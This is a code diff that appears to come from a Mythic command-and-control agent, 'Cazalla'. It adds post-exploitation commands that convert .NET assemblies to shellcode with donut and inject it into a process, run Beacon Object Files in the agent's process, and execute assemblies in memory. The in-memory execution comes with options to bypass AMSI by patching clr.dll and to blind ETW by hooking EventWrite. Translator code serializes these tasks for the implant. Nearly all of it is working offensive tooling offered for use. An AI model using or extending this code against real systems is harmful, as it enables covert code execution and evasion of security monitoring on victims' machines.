response = PTRPCDynamicQueryFunctionMessageResponse()
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
CallbackID=callback.Callback,
LimitByCallback=False,
Filename="",
))
if file_resp.Success:
file_names = []
for f in file_resp.Files:
if f.Filename not in file_names and f.Filename.endswith(".exe"):
file_names.append(f.Filename)
response.Success = True
response.Choices = file_names
return response
else:
await SendMythicRPCOperationEventLogCreate(MythicRPCOperationEventLogCreateMessage(
CallbackId=callback.Callback,
Message=f"Failed to get files: {file_resp.Error}",
MessageLevel="warning"
))
response.Error = f"Failed to get files: {file_resp.Error}"
return response
async def parse_arguments(self):
if len(self.command_line) == 0:
raise ValueError("Must supply arguments")
raise ValueError("Must supply named arguments or use the modal")
class ExecuteAssemblyCommand(CommandBase):
cmd = "execute_assembly"
needs_admin = False
help_cmd = "execute_assembly -File [Assembly Filename] [-Arguments [optional arguments]]"
description = "Execute a .NET Assembly. Use an already uploaded assembly file or upload one with the command. (e.g., execute_assembly -File SharpUp.exe -Arguments \"audit\")"
version = 1
author = "@c0rnbread (adapted for Cazalla)"
script_only = True
attackmapping = []
argument_class = ExecuteAssemblyArguments
attributes = CommandAttributes(
builtin=False,
supported_os=[ SupportedOS.Windows ],
suggested_command=False
)
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
try:
groupName = taskData.args.get_parameter_group_name()
if groupName == "New Assembly":
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
TaskID=taskData.Task.ID,
AgentFileID=taskData.args.get_arg("assembly_file")
))
if file_resp.Success:
if len(file_resp.Files) > 0:
pass
else:
raise Exception("Failed to find that file")
else:
raise Exception("Error from Mythic trying to get file: " + str(file_resp.Error))
# Set display parameters
response.DisplayParams = "-Assembly {} -Arguments {}".format(
file_resp.Files[0].Filename,
taskData.args.get_arg("assembly_arguments")
)
taskData.args.add_arg("assembly_name", file_resp.Files[0].Filename)
taskData.args.remove_arg("assembly_file")
elif groupName == "Default":
# We're trying to find an already existing file and use that
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
TaskID=taskData.Task.ID,
Filename=taskData.args.get_arg("assembly_name"),
LimitByCallback=False,
MaxResults=1
))
if file_resp.Success:
if len(file_resp.Files) > 0:
logging.info(f"Found existing Assembly with File ID : {file_resp.Files[0].AgentFileId}")
taskData.args.remove_arg("assembly_name") # Don't need this anymore
# Set display parameters
response.DisplayParams = "-Assembly {} -Arguments {}".format(
file_resp.Files[0].Filename,
taskData.args.get_arg("assembly_arguments")
)
elif len(file_resp.Files) == 0:
raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?")
else:
raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.Error))
# Get the file contents of the .NET assembly
assembly_contents = await SendMythicRPCFileGetContent(
MythicRPCFileGetContentMessage(AgentFileId=file_resp.Files[0].AgentFileId)
)
# Try to import donut - required for execute_assembly
try:
import donut
except ImportError:
raise Exception("The 'donut' Python module is not installed. Please install it with: pip install donut-shellcode")
# Need a physical path for donut.create()
fd, temppath = tempfile.mkstemp(suffix='.exe')
logging.info(f"Writing Assembly Contents to temporary file \"{temppath}\"")
with os.fdopen(fd, 'wb') as tmp:
tmp.write(assembly_contents.Content)
# Bypass=None, ExitOption=exit process
assembly_shellcode = donut.create(file=temppath, params=taskData.args.get_arg("assembly_arguments"), bypass=1, exit_opt=2)
# Clean up temp file
os.remove(temppath)
logging.info(f"Converted .NET into Shellcode {len(assembly_shellcode)} bytes")
# .NET shellcode stub in Mythic
shellcode_file_resp = await SendMythicRPCFileCreate(
MythicRPCFileCreateMessage(TaskID=taskData.Task.ID, FileContents=assembly_shellcode, DeleteAfterFetch=True)
)
if shellcode_file_resp.Success:
shellcode_file_uuid = shellcode_file_resp.AgentFileId
else:
raise Exception("Failed to register execute_assembly binary: " + shellcode_file_resp.Error)
# Send subtask to inject shellcode
# Note: This requires an inject_shellcode command to exist
# For now, we'll just register the file and note that inject_shellcode needs to be implemented
subtask = await SendMythicRPCTaskCreateSubtask(
MythicRPCTaskCreateSubtaskMessage(
taskData.Task.ID,
CommandName="inject_shellcode",
SubtaskCallbackFunction="coff_completion_callback",
Params=json.dumps({
"shellcode_file": shellcode_file_uuid,
"method": "default"
}),
Token=taskData.Task.TokenID,
)
)
return response
except Exception as e:
raise Exception("Error from Mythic: " + str(e))
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -0,0 +1,209 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import json
class InlineExecuteArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="bof_name",
cli_name="BOF",
display_name="BOF",
type=ParameterType.ChooseOne,
dynamic_query_function=self.get_files,
description="Already existing BOF to execute (e.g. whoami.x64.o)",
parameter_group_info=[
ParameterGroupInfo(
required=True,
group_name="Default",
ui_position=1
)
]
),
CommandParameter(
name="bof_file",
display_name="New BOF",
type=ParameterType.File,
description="A new BOF to execute. After uploading once, you can just supply the bof_name parameter",
parameter_group_info=[
ParameterGroupInfo(
required=True,
group_name="New",
ui_position=1,
)
]
),
CommandParameter(
name="bof_arguments",
cli_name="Arguments",
display_name="Arguments",
type=ParameterType.TypedArray,
default_value=[],
choices=["int16", "int32", "string", "wchar", "base64"],
description="""Arguments to pass to the BOF via the following way:
-s:123 or int16:123
-i:123 or int32:123
-z:hello or string:hello
-Z:hello or wchar:hello
-b:abc== or base64:abc==""",
typedarray_parse_function=self.get_arguments,
parameter_group_info=[
ParameterGroupInfo(
required=False,
group_name="Default",
ui_position=4
),
ParameterGroupInfo(
required=False,
group_name="New",
ui_position=4
),
]
),
]
async def parse_arguments(self):
if len(self.command_line) == 0:
raise ValueError("Must supply arguments")
raise ValueError("Must supply named arguments or use the modal")
async def parse_dictionary(self, dictionary_arguments):
# Allowed argument keys
expected_args = {"bof_arguments", "bof_file", "bof_name"}
# Check if dictionary contains only allowed keys
invalid_keys = set(dictionary_arguments.keys()) - expected_args
if invalid_keys:
raise ValueError(f"Invalid arguments provided: {', '.join(invalid_keys)}")
# Load only allowed arguments
filtered_arguments = {k: v for k, v in dictionary_arguments.items() if k in expected_args}
self.load_args_from_dictionary(filtered_arguments)
async def get_arguments(self, arguments: PTRPCTypedArrayParseFunctionMessage) -> PTRPCTypedArrayParseFunctionMessageResponse:
argumentSplitArray = []
for argValue in arguments.InputArray:
argSplitResult = argValue.split(" ")
for spaceSplitArg in argSplitResult:
argumentSplitArray.append(spaceSplitArg)
bof_arguments = []
for argument in argumentSplitArray:
if ":" not in argument:
continue
argType,value = argument.split(":",1)
value = value.strip("\'").strip("\"")
if argType == "":
pass
elif argType == "int16" or argType == "-s" or argType == "s":
bof_arguments.append(["int16", int(value)])
elif argType == "int32" or argType == "-i" or argType == "i":
bof_arguments.append(["int32", int(value)])
elif argType == "string" or argType == "-z" or argType == "z":
bof_arguments.append(["string",value])
elif argType == "wchar" or argType == "-Z" or argType == "Z":
bof_arguments.append(["wchar",value])
elif argType == "base64" or argType == "-b" or argType == "b":
bof_arguments.append(["base64",value])
else:
return PTRPCTypedArrayParseFunctionMessageResponse(Success=False,
Error=f"Failed to parse argument: {argument}: Unknown value type.")
argumentResponse = PTRPCTypedArrayParseFunctionMessageResponse(Success=True, TypedArray=bof_arguments)
return argumentResponse
async def get_files(self, callback: PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse:
response = PTRPCDynamicQueryFunctionMessageResponse()
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
CallbackID=callback.Callback,
LimitByCallback=False,
IsDownloadFromAgent=False,
IsScreenshot=False,
IsPayload=False,
Filename="",
))
if file_resp.Success:
file_names = []
for f in file_resp.Files:
if f.Filename not in file_names and f.Filename.endswith(".o"):
file_names.append(f.Filename)
response.Success = True
response.Choices = file_names
return response
else:
await SendMythicRPCOperationEventLogCreate(MythicRPCOperationEventLogCreateMessage(
CallbackId=callback.Callback,
Message=f"Failed to get files: {file_resp.Error}",
MessageLevel="warning"
))
response.Error = f"Failed to get files: {file_resp.Error}"
return response
class InlineExecuteCommand(CommandBase):
cmd = "inline_execute"
needs_admin = False
help_cmd = "inline_execute -BOF [COFF.o] [-Arguments [optional arguments]]"
description = "Execute a Beacon Object File in the current process thread. (e.g., inline_execute -BOF listmods.x64.o -Arguments int32:1234) \n [!!WARNING!! Incorrect argument types can crash the Agent process.]"
version = 1
author = "@c0rnbread (adapted for Cazalla)"
attackmapping = []
argument_class = InlineExecuteArguments
attributes = CommandAttributes(
builtin=False,
supported_os=[ SupportedOS.Windows ],
suggested_command=True
)
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
try:
groupName = taskData.args.get_parameter_group_name()
if groupName == "New":
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
TaskID=taskData.Task.ID,
AgentFileID=taskData.args.get_arg("bof_file")
))
if file_resp.Success:
if len(file_resp.Files) > 0:
pass
else:
raise Exception("Failed to find that file")
else:
raise Exception("Error from Mythic trying to get file: " + str(file_resp.Error))
elif groupName == "Default":
# We're trying to find an already existing file and use that
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
TaskID=taskData.Task.ID,
Filename=taskData.args.get_arg("bof_name"),
LimitByCallback=False,
MaxResults=1
))
if file_resp.Success:
if len(file_resp.Files) > 0:
taskData.args.add_arg("bof_file", file_resp.Files[0].AgentFileId)
taskData.args.remove_arg("bof_name") # Don't need this anymore
# Set display parameters
response.DisplayParams = "-bof_file {} -bof_arguments {}".format(
file_resp.Files[0].Filename,
taskData.args.get_arg("bof_arguments")
)
elif len(file_resp.Files) == 0:
raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?")
else:
raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.Error))
except Exception as e:
raise Exception("Error from Mythic: " + str(e))
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -0,0 +1,271 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import json
import logging
logging.basicConfig(level=logging.INFO)
# Wrapper function for Inline-EA
# BoF Credits: https://github.com/EricEsquivel/Inline-EA
class InlineExecuteAssemblyArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="assembly_name",
cli_name="Assembly",
display_name="Assembly",
type=ParameterType.ChooseOne,
dynamic_query_function=self.get_files,
description="Already existing .NET assembly to execute (e.g. SharpUp.exe)",
parameter_group_info=[
ParameterGroupInfo(
required=True,
group_name="Default",
ui_position=1
)
]),
CommandParameter(
name="assembly_file",
display_name="New Assembly",
type=ParameterType.File,
description="A new .NET assembly to execute. After uploading once, you can just supply the -Assembly parameter",
parameter_group_info=[
ParameterGroupInfo(
required=True,
group_name="New Assembly",
ui_position=1,
)
]
),
CommandParameter(
name="assembly_arguments",
cli_name="Arguments",
display_name="Arguments",
type=ParameterType.String,
description="Arguments to pass to the assembly.",
default_value="",
parameter_group_info=[
ParameterGroupInfo(
required=False, group_name="Default", ui_position=2,
),
ParameterGroupInfo(
required=False, group_name="New Assembly", ui_position=2
),
],
),
CommandParameter(
name="patch_exit",
cli_name="-patchexit",
display_name="patchexit",
type=ParameterType.Boolean,
description="Patches System.Environment.Exit to prevent Beacon process from exiting",
default_value=False,
parameter_group_info=[
ParameterGroupInfo(
required=False, group_name="Default", ui_position=3,
),
ParameterGroupInfo(
required=False, group_name="New Assembly", ui_position=3
),
],
),
CommandParameter(
name="amsi",
cli_name="-amsi",
display_name="amsi",
type=ParameterType.Boolean,
description="Bypass AMSI by patching clr.dll instead of amsi.dll to avoid common detections",
default_value=False,
parameter_group_info=[
ParameterGroupInfo(
required=False, group_name="Default", ui_position=4,
),
ParameterGroupInfo(
required=False, group_name="New Assembly", ui_position=4
),
],
),
CommandParameter(
name="etw",
cli_name="-etw",
display_name="etw",
type=ParameterType.Boolean,
description="Bypass ETW by EAT Hooking advapi32.dll!EventWrite to point to a function that returns right away",
default_value=False,
parameter_group_info=[
ParameterGroupInfo(
required=False, group_name="Default", ui_position=5,
),
ParameterGroupInfo(
required=False, group_name="New Assembly", ui_position=5
),
],
),
]
async def get_files(self, callback: PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse:
response = PTRPCDynamicQueryFunctionMessageResponse()
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
CallbackID=callback.Callback,
LimitByCallback=False,
Filename="",
))
if file_resp.Success:
file_names = []
for f in file_resp.Files:
if f.Filename not in file_names and f.Filename.endswith(".exe"):
file_names.append(f.Filename)
response.Success = True
response.Choices = file_names
return response
else:
await SendMythicRPCOperationEventLogCreate(MythicRPCOperationEventLogCreateMessage(
CallbackId=callback.Callback,
Message=f"Failed to get files: {file_resp.Error}",
MessageLevel="warning"
))
response.Error = f"Failed to get files: {file_resp.Error}"
return response
async def parse_arguments(self):
if len(self.command_line) == 0:
raise ValueError("Must supply arguments")
raise ValueError("Must supply named arguments or use the modal")
class InlineExecuteAssemblyCommand(CommandBase):
cmd = "inline_execute_assembly"
needs_admin = False
help_cmd = "inline_execute_assembly -Assembly [file] [-Arguments [assembly args] [--patchexit] [--amsi] [--etw]]"
description = "Execute a .NET Assembly in the current process using @EricEsquivel's BOF \"Inline-EA\" (e.g., inline_execute_assembly -Assembly SharpUp.exe -Arguments \"audit\" --patchexit --amsi --etw)"
version = 1
author = "@c0rnbread (adapted for Cazalla)"
script_only = True
attackmapping = []
argument_class = InlineExecuteAssemblyArguments
attributes = CommandAttributes(
dependencies=["inline_execute"],
alias=True
)
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
try:
groupName = taskData.args.get_parameter_group_name()
if groupName == "New Assembly":
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
TaskID=taskData.Task.ID,
AgentFileID=taskData.args.get_arg("assembly_file")
))
if file_resp.Success:
if len(file_resp.Files) > 0:
pass
else:
raise Exception("Failed to find that file")
else:
raise Exception("Error from Mythic trying to get file: " + str(file_resp.Error))
# Set display parameters
response.DisplayParams = "-Assembly {} -Arguments {} --patchexit {} --amsi {} --etw {}".format(
file_resp.Files[0].Filename,
taskData.args.get_arg("assembly_arguments"),
taskData.args.get_arg("patch_exit"),
taskData.args.get_arg("amsi"),
taskData.args.get_arg("etw")
)
taskData.args.add_arg("assembly_name", file_resp.Files[0].Filename)
taskData.args.remove_arg("assembly_file")
elif groupName == "Default":
# We're trying to find an already existing file and use that
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
TaskID=taskData.Task.ID,
Filename=taskData.args.get_arg("assembly_name"),
LimitByCallback=False,
MaxResults=1
))
if file_resp.Success:
if len(file_resp.Files) > 0:
logging.info(f"Found existing Assembly with File ID : {file_resp.Files[0].AgentFileId}")
taskData.args.remove_arg("assembly_name") # Don't need this anymore
# Set display parameters
response.DisplayParams = "-Assembly {} -Arguments {} --patchexit {} --amsi {} --etw {}".format(
file_resp.Files[0].Filename,
taskData.args.get_arg("assembly_arguments"),
taskData.args.get_arg("patch_exit"),
taskData.args.get_arg("amsi"),
taskData.args.get_arg("etw")
)
elif len(file_resp.Files) == 0:
raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?")
else:
raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.Error))
# Get the file contents of the .NET assembly ( base64 ( assembly bytes ) )
assembly_contents = await SendMythicRPCFileGetContent(
MythicRPCFileGetContentMessage(AgentFileId=file_resp.Files[0].AgentFileId)
)
# Arguments depend on the BOF
file_name = "inline-ea.x64.o"
arguments = [
[
"bytes",
assembly_contents.Content.hex() # Raw bytes of Assembly
],
[
"int32",
len(assembly_contents.Content) # Assembly length
],
[
"wchar",
taskData.args.get_arg("assembly_arguments") # Assembly argument string
],
[
"int32",
taskData.args.get_arg("patch_exit") # BOOL
],
[
"int32",
taskData.args.get_arg("amsi") # BOOL
],
[
"int32",
taskData.args.get_arg("etw") # BOOL
]
]
# Run inline_execute subtask
subtask = await SendMythicRPCTaskCreateSubtask(
MythicRPCTaskCreateSubtaskMessage(
taskData.Task.ID,
CommandName="inline_execute",
SubtaskCallbackFunction="coff_completion_callback",
Params=json.dumps({
"bof_name": file_name,
"bof_arguments": arguments
}),
Token=taskData.Task.TokenID,
)
)
return response
except Exception as e:
raise Exception("Error from Mythic: " + str(e))
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
+4
View File
@@ -10,3 +10,7 @@ pyaml
async-timeout==4.0.3
charset_normalizer==3.3.2
pycryptodome==3.19.0
# Optional dependencies:
# donut-shellcode - Required only for execute_assembly command
# Install with: pip install donut-shellcode
@@ -38,7 +38,11 @@ commands = {
# Added Reverse Port Forward commands
"start_rpfwd": {"hex_code": 0x62, "input_type": "int"},
"stop_rpfwd": {"hex_code": 0x63, "input_type": None},
"socks": {"hex_code": 0x60, "input_type": "socks_special"} # Se maneja especialmente
"socks": {"hex_code": 0x60, "input_type": "socks_special"}, # Se maneja especialmente
# BOF and Assembly execution commands
"inline_execute": {"hex_code": 0x70, "input_type": "bof_special"},
"inline_execute_assembly": {"hex_code": 0x71, "input_type": "assembly_special"},
"execute_assembly": {"hex_code": 0x72, "input_type": "assembly_special"}
}
def responseTasking(tasks):
@@ -208,6 +212,56 @@ def responseTasking(tasks):
print(f"[TRANSLATOR] SOCKS STOP")
dataTask += len(data).to_bytes(4, "big") + data
elif commands[command_to_run]["input_type"] == "bof_special":
# inline_execute: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args]
parameters = json.loads(task["parameters"]) if task["parameters"] != "" else {}
file_id = parameters.get("bof_file", "")
data = command_code + task_id
# Add file_id
file_id_bytes = file_id.encode('utf-8')
data += len(file_id_bytes).to_bytes(4, "big")
data += file_id_bytes
# Add BOF arguments (serialized)
bof_args = parameters.get("bof_arguments", [])
args_str = json.dumps(bof_args) if bof_args else ""
args_bytes = args_str.encode('utf-8')
data += len(args_bytes).to_bytes(4, "big")
data += args_bytes
task_size = len(data)
dataTask += task_size.to_bytes(4, "big") + data
print(f"[TRANSLATOR] inline_execute: file_id={file_id}, args_len={len(args_bytes)}")
elif commands[command_to_run]["input_type"] == "assembly_special":
# inline_execute_assembly or execute_assembly: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args]
parameters = json.loads(task["parameters"]) if task["parameters"] != "" else {}
# For inline_execute_assembly, it uses subtasks, so we might not get direct parameters
# For execute_assembly, it also uses subtasks
# These commands are handled via subtasks in Python, so they may not reach here directly
# But we'll handle them if they do
file_id = parameters.get("assembly_file", parameters.get("shellcode_file", ""))
data = command_code + task_id
# Add file_id
if file_id:
file_id_bytes = file_id.encode('utf-8')
data += len(file_id_bytes).to_bytes(4, "big")
data += file_id_bytes
else:
data += (0).to_bytes(4, "big")
# Add assembly arguments
assembly_args = parameters.get("assembly_arguments", "")
args_bytes = assembly_args.encode('utf-8') if assembly_args else b""
data += len(args_bytes).to_bytes(4, "big")
data += args_bytes
task_size = len(data)
dataTask += task_size.to_bytes(4, "big") + data
print(f"[TRANSLATOR] {command_to_run}: file_id={file_id}, args_len={len(args_bytes)}")
dataToSend = dataHead + dataTask
print(f"[TRANSLATOR] ========== responseTasking FIN ==========")
@@ -1078,10 +1078,29 @@ def postResponse(data):
# No more markers
break
try:
decoded_output = output.decode('cp850')
except Exception as e:
print(f"Fallo al decodificar la salida: {e}")
# Try to decode output - BOFs on Windows typically use Windows-1252 (cp1252) for Spanish characters
# Try Windows-1252 first (for Windows BOF output with special chars like ñ, ó, etc.)
# Then try UTF-8, then cp850 (legacy agent output), then latin-1 as last resort
decoded_output = None
for encoding in ['cp1252', 'utf-8', 'cp850', 'latin-1']:
try:
decoded_output = output.decode(encoding, errors='replace')
# If we successfully decoded with Windows-1252 or UTF-8, use it
if encoding in ['cp1252', 'utf-8']:
# Check if there are replacement characters - if too many, try next encoding
replacement_count = decoded_output.count('\ufffd')
if replacement_count == 0 or (replacement_count < len(decoded_output) * 0.01):
# Less than 1% replacement chars, probably correct encoding
break
else:
# For cp850 and latin-1, use if no replacement chars or as fallback
if '\ufffd' not in decoded_output or encoding == 'latin-1':
break
except Exception as e:
continue
if decoded_output is None:
print(f"Fallo al decodificar la salida con todas las codificaciones intentadas")
decoded_output = "[ERROR DECODIFICANDO]"
task_id_str = uuidTask.decode('cp850')